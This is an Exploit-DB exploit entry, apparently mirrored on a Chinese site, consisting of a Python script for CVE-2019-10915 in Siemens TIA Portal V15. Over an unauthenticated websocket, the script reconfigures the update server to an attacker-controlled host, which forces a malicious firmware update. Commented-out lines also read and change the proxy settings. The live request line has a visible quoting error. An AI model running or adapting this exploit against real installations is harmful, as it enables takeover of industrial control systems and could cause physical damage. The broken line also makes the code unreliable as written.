Siemens TIA Portal – Remote Command Execution

  • 作者: Joseph Bingham
    日期: 2019-07-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47083/
  • ##
    # Exploit Title: Siemens TIA Portal unauthenticated remote command execution
    # Date: 06/11/2019
    # Exploit Author: Joseph Bingham
    # CVE : CVE-2019-10915
    # Vendor Homepage: www.siemens.com
    # Software Link: https://new.siemens.com/global/en/products/automation/industry-software/automation-software/tia-portal.html
    # Version: TIA Portal V15 Update 4
    # Tested on: Windows 10
    # Advisory: https://www.tenable.com/security/research/tra-2019-33
    # Writeup: https://medium.com/tenable-techblog/nuclear-meltdown-with-critical-ics-vulnerabilities-8af3a1a13e6a
    # Affected Vendors/Device/Firmware:
    #- Siemens STEP7 / TIA Portal
    ##
    
    ##
    # Example usage
    # $ python cve_2019_10915_tia_portal_rce.py 
    # Received '0{"sid":"ZF_W8SDLY3SCGExV9QZc1Z9-","upgrades":[],"pingInterval":25000,"pingTimeout":60000}'
    # Received '40'
    # Received '42[" ",{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":0},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":""},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":""},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},null]'
    ##
    
    import websocket, ssl, argparse
    
    parser = argparse.ArgumentParser()
    parser.add_argument("target_host", help="TIA Portal host") 
    parser.add_argument("target_port", help="TIA Portal port (ie. 8888)", type=int) 
    parser.add_argument("(optional) update_server", help="Malicious firmware update server IP") 
    args = parser.parse_args()
    
    host = args.target_host
    port = args.target_port
    updatesrv = args.update_server
    ws = websocket.create_connection("wss://"+host+":"+port+"/socket.io/?EIO=3&transport=websocket&sid=", sslopt={"cert_reqs": ssl.CERT_NONE})
    # Read current proxy settings
    #req = '42["cli2serv",{"moduleFunc":"ProxyModule.readProxySettings","data":"","responseEvent":" "}]'
    # Change application proxy settings
    #req = '42["cli2serv",{"moduleFunc":"ProxyModule.saveProxyConfiguration","data":{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":1},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":"10.0.0.200"},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":"8888"},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},responseEvent":" "}]'
    # Force a malicious firmware update
    req = 42["cli2serv",{"moduleFunc":"SoftwareModule.saveUrlSettings","data":{"ServerUrl":"https://"+updatesrv+"/FWUpdate/","ServerSource":"CORPORATESERVER","SelectedUSBDrive":"\\","USBDrivePath":"","downloadDestinationPath":"C:\\Siemens\\TIA Admin\\DownloadCache","isMoveDownloadNewDestination":true,"CyclicCheck":false,"sourcePath":"C:\\Siemens\\TIA Admin\\DownloadCache","productionLine":"ProductionLine1","isServerChanged":true},"responseEvent":" "}]'
    ws.send(req)
    
    result = ws.recv()
    print("Received '%s'" % result)
    
    result = ws.recv()
    print("Received '%s'" % result)
    
    result = ws.recv()
    print("Received '%s'" % result)